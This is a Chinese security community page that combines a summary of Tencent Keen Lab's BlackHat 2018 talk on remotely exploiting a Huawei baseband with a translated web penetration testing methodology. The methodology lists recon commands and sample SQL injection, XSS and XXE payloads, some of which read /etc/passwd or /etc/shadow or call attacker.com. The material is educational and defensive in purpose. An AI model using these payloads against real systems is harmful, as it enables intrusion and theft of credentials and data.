安全研究人员表示，他们将会在三月份的计算机安全技术杂志中[发表](http://www.sciencedirect.com/science/article/pii/S0167404815001285)他们的研究成果，并且他们还会向广大用户提供检测和缓解这类攻击的方法。敬请期待！ | 社区文章 |
# 腾讯科恩实验室BlackHat USA 2018议题解读 | 现代智能手机基带破解
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1、议题概要
据估计，全球有超过30亿的智能手机，而基带是智能手机的重要组成部分，负责处理和与移动无线网络(如2G、3G、4G等)通信。因此对基带进行安全性评估的重要性不容小觑。由于目前有关基带的研究主要是用于灰色产业，因此公开的研究资料非常有限。此外，无线电协议和软件的复杂性也导致基带研究的门槛非常高。基带可以在无需任何用户交互的情况下从无线网络远程访问，这个特性也让它具有非常高的研究价值。本议题将讨论现代智能手机基带设计以及安全对策。该议题将以Mobile
Pwn2Own
2017基带项目中使用的0day漏洞为例，阐述腾讯安全科恩实验室发现并利用该漏洞实现远程代码执行的过程和细节。通过利用该漏洞，腾讯安全科恩实验室最终完成了在更新后的华为Mate
9
Pro上无用户交互条件下的远程代码执行，并在该项目上赢得了10万美元奖金。华为也在第一时间响应并打补丁解决了这个问题，展现了企业非常专业的合作精神与责任担当。更多详细信息欢迎关注腾讯科恩实验室官方微信号：KeenSecurityLab，回复“基带安全”即可获得《现代智能手机基带破解》研究技术细节白皮书！
## 2、作者简介
Marco
Grassi，腾讯科恩实验室高级研究员，研究涉猎iOS、Safari、VMWare、基带等多个方向，多次作为核心成员参与Pwn2Own、Mobile
Pwn2Own并获得冠军，多次在国际安全会议上进行演讲，包括Black Hat USA, DEF CON, CanSecWest, ZeroNights,
Codegate, HITB and ShakaCon等。
刘穆清，腾讯科恩实验室安全研究员，主要研究固件安全、二进制分析、安全研究工具开发，同时也是CTF选手，作为腾讯eee战队及0ops战队队员曾多次参与CTF比赛，并和A*0*E联队成员一起参与了今年的DEF
CON CTF。
谢天忆，腾讯科恩实验室高级研究员，CTF选手，腾讯eee战队及A*0*E联队队长，Pwn2Own 2017 VMware项目冠军队伍成员，Mobile
Pwn2Own 2017 Baseband项目及“Master of Pwn”冠军队伍成员。
## 3、议题解析
现代智能手机是一个非常复杂的系统，它包含一个主CPU以及许多次级CPU，这些CPU共同协作完成各项任务。其中，主CPU也可以称为AP(应用程序处理器)。在这些CPU中，我们可以找到Wi-Fi SoC模块和基带模块。
AP运行各种操作系统(如Android或iOS)，而基带运行RTOS(实时操作系统)。它们作为系统独立存在，通常通过USB、PCI-e、共享内存或其他机制进行通信。如果仅在基带上实现代码执行，并不意味着可以在AP上实现代码执行。
事实上，让我们决定将研究目标定位在基带模块的原因有许多，主要原因如下:
1、基带不太容易理解并且攻击面审计比较少；
2、基带可以在远距离且在无需用户交互的情况下远程破解；
3、基带在漏洞利用的缓解措施方面，相比较现代操作系统(如Android和iOS)要落后一些。
4、由于基带一般是来自第三方，因此设备制造商没有办法审计基带源代码。
5、基带是一个非常复杂的系统。
基带基本上就是一个在手机独立的CPU中运行的固件黑盒。在某些方面，它和物联网设备类似，其上运行一个实时操作系统(RTOS)，负责调度系统组件的各种任务。由于基带芯片需要支持多种协议栈，其实现通常非常复杂。相关的协议规范文档通常就有数万页之多。
一般来说，在系统中，每个网络层都有一个任务与其对应,例如MM任务,SM任务等。通过定位无线电消息被解析和处理的地方可以更容易地找到消息处理程序，之后就可以开始寻找消息处理程序的内存泄露错误。
作为第一步，我们需要找到并分析固件。由于我们将华为作为一个研究案例进行展示，所以我们将重点关注该固件。
我们可以在Android phone文件系统中找到文件名为“sec_balong_modem.bin”的固件文件。
该文件由Android内核加载并传递给TEE(可信执行环境)进行签名检查，再将其加载到基带中。我们使用IDA Pro对其进行逆向分析。
在分析过程中，我们迅速注意到华为基带缺乏ASLR和栈cookie，此外，其他许多厂商也缺乏这些保护措施。第二步我们收集运行时信息。之前是通过使用“cshell”在基带上获得有限的调试能力，但最近它被移除了。
我们尝试后发现当基带崩溃时，它会将有用的日志输出给AP用来进行日志记录。除此之外，当我们在Android内核中运行代码，我们可以在物理内存0x80400000地址开始读取数据来获取基带内存数据。这为我们后续调试基带利用方案提供很大帮助。
我们还可以找到一个描述NVRAM格式的开源项目，开源项目地址为:https://github.com/forth32/balong-nvtool。
网上其他的信息也非常有用。我们花了一些时间做调研，还在GitHub发现一个泄漏的旧版本华为基带源代码。尽管代码并不是最新的，但这份源代码对于逆向工程起到很大的帮助作用。此外，我们还在网上找到理解无线电协议所需的所有3GPP规范。
但是我们究竟是如何攻击基带呢?
毋庸置疑的是我们一定是通过无线电通信进行攻击的。这种攻击的“传统”思路是模拟一个假基站，然后攻击手机。
最常见的方法是使用SDR(软件定义无线电)。一方面，SDR的价格在可接受的范围内，另一方面，一些开源工程为我们的研究提供了帮助。这些积极因素有效地降低了我们的研究难度。SDR可以是USRP(通用软件无线电外设)或BladeRF(USB
3.0超高速软件定义无线电)。一台带有SDR的笔记本电脑就可以模拟一个基站(BS)。由于一些无线电技术没有采用相互认证的方式，因此手机会连接到那些恶意构造的伪基站。
但实际真的那么好利用吗？事实并没有想象的那么简单，我们并不能直接使用SDR和开源软件。我们Pwn2Own漏洞实际是在华为基带的CDMA(码分多址)部分。CDMA是一种3g网络，在部分地区也有使用UMTS(通用移动通信系统)进行3G网络传输。
我们使用的bug是在CDMA 1x SMS传输层消息部分中一个负责解析PRL(出国优选漫游列表)消息的函数中。这个bug的简化版本如下:
这里我们注意到了一个函数：memcpy_s。这个函数和memcpy一样，可以将指定长度的数据复制到另一块内存区域中，但和memcpy不同，除了原有的三个参数（源地址、目的地址和源数据长度）外，该函数还增加了一个size_t类型的参数，用来表示目的地址的存储空间大小。利用这个参数，在复制时，memcpy_s函数可以检查被拷贝的数据大小不会超过目的地址的大小，从而在无意中避免了很多bug。
但这并不会影响我们要利用的漏洞，因为我们控制拷贝数据的目的地址而不是长度。我们在了解memcpy_s的基础上再来查看这个bug，可以看到消息处理器在解析消息时，会提取部分偏移量/长度，然后在没有检查的情况下，它们被添加到byte_pos，从而导致可利用的栈溢出。
那么我们该如何触发这个bug呢?首先需要建立一个CDMA网络。但这并不容易。目前并没有公开的实现方法可以在SDR上运行运行CDMA
1x基站。我们也没有时间自己再实现一遍，所以我们想出了一个不走寻常路的解决方案。我们购买并更改了一台Rohde&Schwarz CMU200设备。
这台设备本身是用来测试设备的信令和非信令功能。它还支持CDMA 1x标准，我们将通过逆向工程以及打补丁的方式使用这台设备完成发送任意数据包的需求。
这台设备常规的工作流程如下:
但我们希望设备可以直接转发PDU而不对其进行编码和数据包组装：
那么该怎么做才能实现这样的目标呢？CMU 200运行在MS-DOS和Windows
3.x版本系统上，用户可以在UI图形界面中发送短消息。我们首先研究设备的文件系统以及逆向PE文件。
我们找到一个名称为“C2KMS.DL3”的文件，这个文件会读取短消息的文件内容，并将短消息传送到B83
CDMA模块进行发送。我们在这里更改了一个长度检查，但是我们不能完全控制数据。
所以我们需要进一步修改B83模块固件。我们在文件系统中找到了B83固件，在恢复文件格式之后，对它进行逆向分析。
非常幸运的是，首先B83子板基于PowerPC平台(一种精简指令集RISC的中央处理器架构)，而我们也有其固件对应的反编译器。其次，固件本身没有进行签名检查，只有CRC(循环冗余校验)。此外，二进制文件中符号表数据也保留着!
我们继续定位“buildSmsMsg”函数，并修改函数使得可以携带任意数据。然后我们刷新B83模块，此时我们就可以发送任意的PDU(协议数据单元)了。
现在我们将要尝试触发bug并使基带crash!我们该如何利用这个bug呢?这个过程也并不像看起来那么简单! 攻击payload是一条畸形的CDMA 1x
SMS传输层消息。其SMS_MSG_TYPE字段必须是00000000，表示SMS点对点消息。
该消息由TLV格式的参数组成，其中一些参数必须被设置正确才能确保抵达有漏洞的函数，包括:
Teleservice Identifier(PARAMETER_ID 00000000)
Originating Address(PARAMETER_ID 00000010)
在这些参数中，Bearer Data(PARAMETER_ID 00001000)会在漏洞函数中被解析：
Bearer Data(PARAMETER_ID
00001000)在漏洞函数中被解析为由TLV格式的子参数组成的结构。为此我们必须适当地配置子参数以表示该消息为PRL消息。
类型为Message Display Mode (SUBPARAMETER_ID 00001111)的子参数最为关键，其中：
* MSG_DISPLAY_MODE字段必须设为0x03
* RESERVED字段必须设为0x10
漏洞代码的基本功能是对Bearer
Data中的子参数进行排序，缓冲区溢出就发生在该部分代码中。乍一看，这种利用似乎非常容易，因为没有NX/ASLR/Stack
Canary等保护措施，看起来就像90年代的典型栈溢出利用。但这是真的吗?
事实上，尽管有多条路径可以触发漏洞函数，但并不是所有的路径都可以通过空口消息触发。其中有一条路径可以通过空口消息触发，但是此时能够被溢出的那个缓冲区并不在栈上，而是在全局变量段中。还有另一条将缓冲区放在栈上的路径，但限制条件是只有当手机从USIM卡中读取短消息的时候才能触发，看上去对远程利用这个漏洞没什么帮助。到这里为止，所有的可能性都被考虑过了，但仍然没有发现任何明显可行的方法，似乎前方是一条没有出口的死路。
但永不放弃始终是我们的信条。通过对该部分逻辑更深刻地理解，我们最终找到了一条非常深但是十分稳定的路径。
基带处理PRL消息的整个过程如下：
-通过空口接收信息
-解码消息(第一次触发漏洞函数，但缓冲区不在栈上)
-编码消息
-将消息写入USIM卡
-从USIM卡中读出信息
-解码消息(第二次触发漏洞函数并且缓冲区在栈上)
Payload必须能通过第一次解码和编码的过程，并在第二次解码的过程中溢出栈缓冲区。为了构造这样的payload，我们需要一些简单的数学上的抽象：
* Payload:x
* 解码函数——dec(x)
* 编码函数——enc(x)
* 栈溢出ROP链:p
* 目标:对于给定的p，找到一个x使得p = dec(enc(dec(x)))
让我们用更优雅、更数学的方法来解决这个数学问题。
我们的目标变为: 对给定的p，找到一个x，使得p = dec(x)且x = enc(dec(x))
* 这里的x也称为复合函数enc(dec(x))的不动点
因此可以很容易导出p = dec(x) =
dec(enc(dec(x)))，正是我们想要的结果。通过这种方法构造的payload适用于任意多次的解码和编码过程，而不仅仅是一两次。此外，CMU200设备限制TP层消息（也就是我们的payload）的长度必须小于等于130字节，更给我们的构造过程增加了难度。
事实证明，构造这个Payload并不是一帆风顺的，但它是可以实现的! 更多细节请阅读我们的白皮书!
我们也把这个漏洞的利用过程改编成了今年TCTF预选赛中的一道pwnable题目——Mighty
Dragon，其名字正是来源于基带的代号“霸龙”。在当时的比赛中仅有一支队伍解出了这道题目，可见这道题是非常有挑战性的，欢迎感兴趣的小伙伴踊跃尝试，关注微信号“KeenSecurityLab”并回复“Mighty
Dragon”获取题目下载链接。
那么，在我们实现漏洞利用之后，我们如何展示呢?我们不能像在Windows上那样运行一个calc.exe计算器可执行程序来进行演示。最终，我们决定将手机IMEI修改成1337XXX，这样我们可以从手机设置UI看到修改后的变化。
在成功得到基带中的代码执行能力后，我们可以得到很多信息，比如间谍短信，电话，互联网流量，甚至可以修改这些信息。尽管比赛没有要求完成基带绕过，但许多其他研究人员的研究结果表明这是可以实现的。例如Project
Zero的Gal使用WiFi芯片中的DMA来修改内核内存，Comsecuris使用MTK基带中的路径遍历来覆盖AP中的文件。这也和浏览器漏洞类似，在实现第一个RCE(远程代码执行)之后，你可以结合沙箱逃逸漏洞构建完整的攻击链。基带在实现第一个RCE之后，也可以构建一条基带逃逸攻击链，并得到完整的系统控制。
最后，我们想和大家说的是，只要你足够坚定，在现代基带实现远程终端控制是完全有可能的。这种攻击也是真实的存在的。究其根本，一方面基带是由内存不安全的语言编写的，因此无法避免内存破坏问题，另一方面，基带安全也一直没有受到重视。
我们也希望基带在未来的部署中可以考虑更多安全缓解措施，也许将来也会用内存安全的语言编写基带。
更多详细信息欢迎关注腾讯科恩实验室官方微信号：KeenSecurityLab，并回复“基带安全”即可获得《现代智能手机基带破解》研究技术细节白皮书！ | 社区文章 |
_本篇翻译自[这里](https://jdow.io/blog/2018/03/18/web-application-penetration-testing-methodology/)_
_译者注：文章对Web渗透测试全貌进行了描述，介绍了许多实用的想法与方法，仔细阅读会有收获~_
## 0x00 序言
这篇笔记是对Web应用程序渗透中的经典步骤的总结。我会将这些步骤分解为一个个的子任务并在各个子任务中推荐并介绍一些工具。
本文展示的许多技巧来自[这里](https://lanmaster53.com/)，作者已允许转载。
请记住我介绍的这些步骤都是迭代的，所以在一次渗透过程中，你可能会使用他们多次。举个栗子，当你设法获取一个应用程序的不同等级的权限时，比如从普通用户提升到管理员用户，可能就需要迭代利用。
序言最后需要说明的是，这篇笔记的很多地方使用了收费的PortSwigger的[Burp Suite
Professional](https://portswigger.net/burp)。对此我表示抱歉，但我认为这个工具还是物超所值的。
## 0x01 信息收集
> 在一次Web渗透过程中，信息收集的目的是站在旁观者的角度，去了解整个Web应用的全貌。
### 1\. 目标确认
工具 | 简介
---|---
Whois | 基于RFC 3912，用于查询域名相关信息的协议。
Dig | 域名信息获取工具(Domain information groper)简称，是一个命令行的用于查询DNS服务器的网络管理工具。
DNSRecon |
自动化DNS枚举脚本，由[darkoperator](https://github.com/darkoperator/dnsrecon)维护。
#### 1.1 域名注册信息
通过如下步骤确认目标所有者信息：
1. Whois 目标域名/主机名
whois example.com
2. 解析目标域名/主机名的IP地址
dig +short example.com
3. Whois IP地址
whois 104.27.178.12
4. 分析输出结果
如果目标开启了whois隐私保护，那么返回的结果可能是经过混淆的。
>
> ！！不要攻击未经授权的站点。作为渗透测试人员，有责任在测试之前明确自己有没有获得目标所有者赋予的权限对目标进行测试。这也是为什么目标确认是开始渗透测试的第一步。
#### 1.2 DNS信息查询
我喜欢去 <https://dnsdumpster.com/> 查询目标站点的DNS信息，这是一款很不错的在线DNS信息查询工具。
* 正向查询
dig +nocmd example.com A +noall +answer
dig +nocmd example.com NS +noall +answer
dig +nocmd example.com MX +noall +answer
dig +nocmd example.com TXT +noall +answer
dig +nocmd example.com SOA +noall +answer
...
dig +nocmd example.com ANY +noall +answer (This rarely works)
* 反向查询
dig -x 104.27.179.12
dig -x 104.27.178.12
#### 1.3 测试域传送漏洞
域传送是一种DNS事务，用于在主从服务器间复制DNS记录。(译者注：可以看[这个](https://www.waitalone.cn/dns-domain-transfer-exploits.html))虽然如今已经很少见主机会开启，但是还是应该确认一下。一旦存在域传送漏洞，就意味着你获取了整个域下面所有的记录。
> 域传送漏洞很容易避免。至少管理员可以设置只允许白名单内的IP列表可以进行域传送请求。
* 使用示例
dig -t NS zonetransfer.me +short
dig -t AXFR zonetransfer.me @nsztm1.digi.ninja
dig -t AXFR zonetransfer.me @nsztm2.digi.ninja
* DNSRecon 可以自动化进行，而且往往会返回更多额外的信息。
dnsrecon -d example.com
### 2\. OSINT 公开情报收集
工具 | 描述
---|---
Recon-NG | Tim 'Lanmaster53' Tomes写的公开情报工具框架，由社区维护。<http://recon-ng.com/>
Maltego | Maltego 是一款交互式的数据挖掘工具，它可以渲染出图用于关联分析。
theharvester | theHarvester 可以从不同的公开资源中收集邮箱、子域名、虚拟主机、开放的端口/主机指纹和员工姓名等信息
我本想在这份笔记中包含详细的OSINT的介绍，但是想了想决定不这样做。因为我觉得这个部分可以单独写一篇（可能在之后的几篇中）。
在这篇笔记中我就介绍一些非常棒的关于OSINT的干货，我想渗透测试者们对于这些干货应该非常熟悉：
* Michael Bazzell
* <https://inteltechniques.com>
* [Open Source Intelligence Techniques](https://www.amazon.com/dp/1984201573/ref=as_li_ss_tl?ie=UTF8&qid=1516984461&sr=8-10&keywords=open+source+intelligence+techniques&linkCode=sl1&tag=hookaround-20&linkId=1fc9d5a9d120f07b7ba934120ef485a2)
* Google Dorking
* <https://www.exploit-db.com/google-hacking-database/>
## 0x02 Mapping
> 在一次渗透测试过程中，Mapping的目的是站在一个普通用户的角度去了解整个应用的全貌。
### 1\. 工具
工具 | 介绍
---|---
Nmap | 带服务识别和操作系统指纹识别的TCP/IP主机和端口扫描工具
#### 1.1 端口扫描，服务识别，OS识别
* 扫描前1000号TCP端口
nmap 192.168.100.2
* Ping扫描8个本地主机(按ARP、ICMP、TCP 80的顺序)
nmap –sP 192.168.100.0-7
* 扫描80,443端口
nmap -p 80,443 192.168.100.2
* 扫描前1000号TCP端口，OS指纹，服务，然后运行一个NSE脚本
sudo nmap -A 192.168.100.2
* 扫描全部65535个TCP端口，OS指纹，服务，然后运行一个NSE脚本
sudo nmap –A –p- 192.168.100.2
* 扫描前1000号UDP端口
sudo nmap -sU 192.168.100.2
* 扫描所有65535个UDP端口
sudo nmap -sU –p- 192.168.100.2
* 扫描所有65535个UDP端口，并获取服务、OS指纹，之后运行一些NSE脚本
sudo nmap –sU -p- -A 192.168.100.2
> ! 端口扫描通常是渗透过程中第一步和第二步的过渡部分。要非常注意暴露的端口、服务版本和OS/s！
### 2\. 浏览器代理设置
#### 2.1 Firefox
工具 | 描述
---|---
Firefox | 跨平台的一款现代浏览器，有很多有用的插件
`Firefox`通常是Web渗透测试过程中的首选浏览器，这是因为它有很多有用的插件以及它的代理设置不会影响到全局代理。
#### 2.2 Firefox插件
工具 | 描述
---|---
User Agent Switcher | 一款可以快速切换用户代理的Firefox插件
Wappalyzer | 可以检测各种各样的网站所用的技术和软件组件的插件
FoxyProxy | 代理切换插件
这些插件在每次渗透测试过程中我总能用得到，我推荐你在第二步(Mapping)之前安装好它们。
#### 2.3 配置Firefox和Burpsuit
在你进行Mapping之前你一定要配置要浏览器的代理，让流量经过`Burp`。
* 在`Firefox`
* 配置插件`FoxyProxy`
* IP: 127.0.0.1
* Port: 8080
* 配置`Firefox`信任Burp的SSL证书
* 打开`http://burp/`
* 保存证书
* 将证书导入`Firefox`
#### 2.4 Burp配置
工具 | 描述
---|---
Burp Suit Pro | Web安全测试套件
你应该配置Burp让他适合自己的喜好。但是至少我推荐你设置`Scan
Speed`为`thorough`，这样你在使用扫描器时就会发出更多地请求从而扫描出更多的漏洞。
#### 2.5 Burp扩展
工具 | 描述
---|---
Burp Extender | 用于扩展Burp suite功能的API，可以在BApp商店获取
Retire.js (BApp) | 用于检测版本落后的Javascript组件漏洞的Burp suite扩展
Wsdler (BApp) | 可以解析WSDL文件，然后测试所有的允许的方法的请求
Python Scripter (BApp) | 可以在每个HTTP请求和响应时执行一段用户定义的Python脚本
这些`Burp`扩展是我在渗透测试过程中经常使用的。和`Firefox`扩展一样，我建议你们在Mapping之前安装好它们。
它们可以使用`Burp Suite Pro`的`Burp Extender`模块来安装。
### 3\. 人工浏览
人工浏览可能是Mapping过程中最重要的部分。你有必要去浏览每个页面，点击页面上每一个跳转，这样在Burp的sitemap里面就可以出现这些请求和响应。
> ！！！手工浏览对于单页应用非常非常重要。自动化的网页爬虫不能够爬到单页应用因为单页应用的HTTP请求都是用异步的AJAX来进行的。
### 4\. 自动化爬取
自动化爬取是使用`Burp Spider`来进行的，这个过程可以发现你手工浏览没有发现的一些页面。通常来说Burp
Spider会在传统的Web应用中发现更多的页面。
> ！！！自动化爬虫非常危险。通常我会手工浏览80%~95%的页面，只用爬虫爬取很少的部分。因为在特定情况下爬虫很容易失效。
### 5\. 后续分析
这个时候你应该使用`Burp`完成了Mapping这一步第一次的迭代，你应该注意目前掌握的所有信息。
#### 5.1 需要特别注意
* Web 服务器
* Web 软件体系结构(技术栈)
* 编程语言
* 框架
* 设计模式
这个时候你可以注意一些需要特定页面跳转的功能点。通常这些功能点可以被手工操控，从而使其不用满足特定跳转顺序就可以实现，这可以让你有重大发现。(举个栗子，电子商务网站的付款功能，密码重置页面等)
## 0x03 漏洞挖掘
> 在一次渗透测试过程中，漏洞挖掘是在攻击者的角度来了解整个Web应用的全貌。
### 1\. 过渡
在你Mapping之后，并且进行了一些基本的功能性的分析后，就可以开始进行漏洞挖掘了。这个步骤中，你应该尽可能多的识别出Web应用存在的漏洞。这些漏洞不仅是`The
OWASP Top 10`中包含的那些，还包含于应用的商业逻辑中。记住一点，你将会遇到大量的漏洞，它不属于任何一个现有的分类中，你应该时刻警惕这一点。
### 2\. 内容挖掘
#### 2.1 漏洞扫描
名称 | 描述
---|---
Nikto | 有指纹识别功能的Web服务漏洞扫描器
`Nikto`当之无愧的是最好的Web服务漏洞扫描器，特别是在大型的Web应用程序中表现非常好。它可以利用`-Format`选项来导出特定格式的扫描结果，使扫描结果更容易阅读和分析。
* 扫描目标并将结果导出成HTML格式
nikto -h http://example.com -output ~/nikto.html -Format htm
> 漏洞扫描通常是第二步和第三步的过渡。一旦有了扫描结果，一定要花时间去分析一下结果，打开一些引人注目的页面看看。
### 3\. 强制浏览(译者注：翻译的感觉很别扭，看下面内容应该能明白什么意思)
名称 | 描述
---|---
Burp Engagement Tools | Burp Suite Pro中自带的有特殊用途的工具集
Engagement Tool: Discover Content | Burp Suite Pro自带的用于强制浏览的工具
Burp Intruder | Burp Suite中可自定义的用于自动化的攻击的模块。(比如brute forcing, injection, 等)
FuzzDB | 包含各种恶意输入、资源名、用于grep搜索响应内容的字符串、Webshell等。
强制浏览是一种挖掘技巧，它可以发现应用程序中没有被引用但是确实是可以访问的页面。`Discover
Content`是`Burp`中专门用于此目的的工具。除此之外，`Burp
Intruder`也可以通过字典攻击来实施强制浏览(通常是在url参数和文件路径部分进行修改)。`FuzzDB`包含一些用于此目的的非常牛逼的字典，你可以在[这里](https://github.com/fuzzdb-project/fuzzdb/tree/master/discovery)看看。
#### 3.1 测试可选内容
名称 | 描述
---|---
User Agent Switcher | 用于迅速切换浏览器的User Agent的一款Firefox插件
Burp Intruder | Burp Suite中可自定义的用于自动化的攻击的模块。(比如brute forcing, injection, 等)
FuzzDB | 包含各种恶意输入、资源名、用于grep搜索响应内容的字符串、Webshell等。
在内容挖掘这一步，我非常喜欢做一件事。那就是利用`User Agent Switcher`切换不同的User
Agent然后访问同一个特定页面。这是因为很多的Web应用对于不同的`User-Agent`和`Referer`请求头会返回不同的内容。
我经常使用`Burp Intruder`来模糊测试`User-Agent`和`Referer`请求头，一般还利用`FuzzDB`的字典。
### 4\. 自动化的漏洞挖掘
名称 | 描述
---|---
Burp Scanner | 自动化扫描安全漏洞的Burp Suite工具
当你在Mapping和进行漏洞挖掘的开始部分时候，`Burp Passive
Scanner`就已经在后台悄悄运行。你应该先分析这份扫描结果，然后再进行`Burp Active Scanner`，这样在`Burp Passive
Scanner`中发现的值得关注的页面就可以在`Burp Active Scanner`中进行详细的扫描。
由于Burp Active Scanner完成所需的时间非常长，我更喜欢只允许一小段时间，然后查看两者之间的扫描结果并记录结果。
> ！！！自动化的漏洞扫描是很危险的。用Burp Scanner可能导致不良的影响。除非你非常熟悉目标的功能与环境，否则你只应在非生产环境中使用。
### 5\. 配置
#### 5.1 默认配置
在确认了目标所使用的技术后，很自然的一步跟进就是测试有没有默认配置。许多框架使用许多易受攻击默认配置的应用程序以便于向开发人员介绍他们的产品。然后由于开发人员的疏忽，这些示例应用被部署到和目标站点所在的同一台服务器上，这使得目标站点承受很大的风险。
#### 5.2 错误配置
在Web渗透测试的每一步，你都应该注意Web应用有没有错误的配置。你可以特别关注页面出现的错误信息，这些信息经常会给出很有用的`数据库结构`和`服务器文件系统`等信息。
> 错误信息几乎总能够发现一些。这些错误信息在注入和LFI(Local File Include)中特别有用。
另外一个值得注意的是页面的敏感表单有没有禁用自动填充。比如密码字段经常会有一个“显示/隐藏”按钮。浏览器默认不会填充`type="password"`的`input`标签内容，而当密码字段是“显示”时，`input`标签就变成了`type="text"`，这样浏览器就会进行自动填充。这在多用户环境下是一个隐患。
### 6\. 身份认证
在漏洞挖掘过程中，你应该认真审视你看到的每个登录表单。如果这些表单没有做很好的安全措施(比如双重认证，验证码，禁止重复提交等)，攻击者就可能得到用户账户未授权的权限。取决于表单的不同实现以及不同的框架/CMS，即使登录失败目标站点也可能会透露出用户账户的一些信息。
如果你测试发现了上述所讨论的问题，你应该关注并记录。另外，如果登录表单没有加密(或者利用了旧版本的SSL/TLS)，这也应该关注并记录。
#### 6.1 模糊登录测试
名称 | 描述
---|---
CeWL | 通过爬取目标站点来生成用户字典的工具
Burp Intruder | Burp Suite中可自定义的用于自动化的攻击的模块。(比如brute forcing, injection, 等)
在你认真审视了登录表单后，就可以开始登录测试了。`CeWL`是一款非常好用的用于生成一次性字典的工具。你可以利用`-h`查看帮助文档。
基本语法如下
cewl [options] www.example.com
当你构造好用户字典后就可以开始用`Burp
Intruder`进行实际的模糊测试了。通常我会用两个payload集(一个是用户名的，另一个是`CeWL`生成的密码)。Intruder的Attack
Type通常应该选`Cluster Bomb`。
### 7\. Session管理
Session-token/Cookie分析在渗透测试过程中虽然不是很吸引人的部分，但确实非常重要的一块。通常是这样子的，你想了解整个web应用是如何跟踪Session，然后用`Burp
Sequencer`这样的工具去测试session
token的随机性/可预测性。一些应用(较传统的应用)会把session的内容存储在客户端。有时候这些数据里面会包含有加密的，序列化的敏感信息。
这时也应该检查HTTP返回头的`Set-Cookie`是否包含`Secure`和`HttpOnly`的标识。如果没有的话就值得注意了，因为没有理由不设置这些标识位。
> Google搜索你得到的session token，可能会有一些发现，比如Session可预测等，这样就可以进行Session劫持攻击。
#### 7.1 用Burp测试Session Tokens
名称 | 描述
---|---
Burp Sequencer | Burp用来分析数据集的随机性的模块
`Burp Sequencer`是用来测试Session
Token随机性和可预测性的很好的工具。当你用这个工具来测试目标的Session管理时，你应该先清除所有的Cookies，然后重新认证一次。然后就可以把带有`Set-Cookie`头的返回包发送给`Burp
Sequencer`，然后Sequencer就会启动新的拦截对Token进行分析。通常10000次请求就差不多可以判断随机性和可预测性了。
如果发现Session token不够随机，那就可以考虑Session劫持了。
### 8\. 授权
授权漏洞很像[功能级访问控制缺失](https://www.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control)和[不安全的直接对象引用](https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References)漏洞，是很长一段时间我发现的最流行的漏洞。这是因为许多的开发者没有想到一个低权限甚至是匿名用户会去向高权限的接口发送请求(失效的权限控制)。
http://example.com/app/admin_getappInfo
或者是去请求其他用户的数据(不安全的直接对象引用，译者注：水平越权)
http://example.com/app/accountInfo?acct=notmyacct
#### 8.1 测试权限控制
名称 | 描述
---|---
Compare Site Maps | Burp的用于测试授权的模块
这里有个小技巧，就是注册两个不同权限的用户，然后用高权限的用户去访问整个Web应用，退出高权限用户，登录低权限用户,然后用Burp的`Compare
Site Maps`工具去测试哪些页面的权限控制没有做好。
### 9\. 数据验证测试
名称 | 描述
---|---
Burp Repeater | 用于手工修改、重放HTTP请求的Burp模块
注入漏洞的存在是因为Web应用接受任意的用户输入，并且在服务端没有正确验证用户的输入的有效性。作为一个渗透测试者，你应该注意每一个接受随意的用户输入的地方并设法进行注入。
因为每个Web应用情况都不一样，所以没有一种万能的注入方式。接下来，我会把注入漏洞进行分类并且给出一些Payload。`Burp
Repeater`是我测试注入漏洞时最常使用的工具。它可以重放HTTP请求，并且可以随时修改Payload。
有一件事需要谨记：漏洞挖掘阶段要做的只是识别漏洞，而漏洞利用阶段才会利用漏洞做更多地事。当然，每个注入漏洞都值得被记录，你可以在漏洞挖掘阶段之后对这些注入漏洞进行深入的测试。
在每个分类下可以参照[OWASP](https://www.owasp.org/)获取更多地信息。
#### 9.1 SQLi
任何将输入带入数据库进行查询的地方都可能存在SQL注入。结合错误的配置问题，会导致大量的数据被攻击者盗取。
我推荐你在做SQL注入时参照这个[Wiki](https://sqlwiki.netspi.com/#mysql)。如果你输入了这些Payload得到了数据库返回的错误信息，那么目标就非常有可能存在SQL注入漏洞。
`Sqlmap`是一款自动化的SQL注入工具，我将会在漏洞利用阶段介绍它。
[OWASP-测试SQL注入](https://www.owasp.org/index.php/Testing_for_SQL_Injection_\(OTG-INPVAL-005))
* 示例
' OR 1=1 -- 1
' OR '1'='1
' or 1=1 LIMIT 1;--
admin';--
http://www.example.com/product.php?id=10 AND 1=1
#### 9.2 跨站脚本攻击(XSS)
攻击者利用Web应用程序发送恶意代码(通常是JavaScript代码)给另外一个用户，就发生了XSS。
有三种不同的XSS：
1. 存储型。当提供给Web应用的数据是攻击者事先提交到服务器端永久保存的恶意代码时，发生存储型XSS。
2. 反射型。当提供给Web应用的数据是服务端脚本利用攻击者的恶意输入生成的页面时，发生反射型XSS。
3. DOM型。DOM型XSS存在于客户端的脚本。
[OWASP-测试XSS](https://www.owasp.org/index.php/Testing_for_Cross_site_scripting)
* 示例
<IMG SRC=javascript:alert('XSS')>
"><script>alert('XSS')</script><"
" onmouseover="alert('XSS')
http://server/cgi-bin/testcgi.exe?<SCRIPT>alert(“Cookie”+document.cookie)</SCRIPT>
%3cscript src=http://www.example.com/malicious-code.js%3e%3c/script%3e
#### 9.3 XML 注入
当Web应用的XML解析器没有正确的验证攻击者传入的XML文档，就会发生XML注入。
[OWASP-测试XML注入](https://www.owasp.org/index.php/Testing_for_XML_Injection_\(OTG-INPVAL-008))
* 示例
Username = foo<
Username = foo<!--
#### 9.4 XML实体注入(XXE)
若实体的定义是一个URI，那么这个实体就叫做外部实体。除非特别配置，不然外部实体会导致XML解析器去请求这个URI。比如请求本地或远程的一个文件。
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>
#### 9.5 模板注入
模板注入就是攻击者利用模板的语法注入恶意代码。
